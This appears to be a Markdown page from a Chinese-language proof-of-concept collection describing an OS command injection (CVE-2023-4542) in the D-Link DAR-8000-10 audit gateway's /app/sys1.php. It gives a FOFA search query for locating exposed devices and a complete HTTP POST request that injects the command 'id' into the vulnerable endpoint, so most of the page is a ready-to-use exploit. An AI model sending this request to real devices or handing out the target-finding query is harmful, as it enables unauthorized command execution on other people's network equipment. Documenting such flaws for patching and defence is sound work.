Skip to content

Latest commit

 

History

History
34 lines (28 loc) · 1.14 KB

D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542).md

File metadata and controls

34 lines (28 loc) · 1.14 KB

D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542)

D-Link DAR-8000是中国友讯(D-Link)公司的上网行为审计网关。

D-Link DAR-8000-10版本存在操作系统命令注入漏洞,该漏洞源于文件/app/sys1.php的参数id会导致操作系统命令注入。

c28cb815357f9d7746051855c037606e

fofa

body="DAR-8000-10" && title="D-Link"

poc

POST /app/sys1.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

cmd=id

532f25d46e25fe6fb6ceff1b97beb88f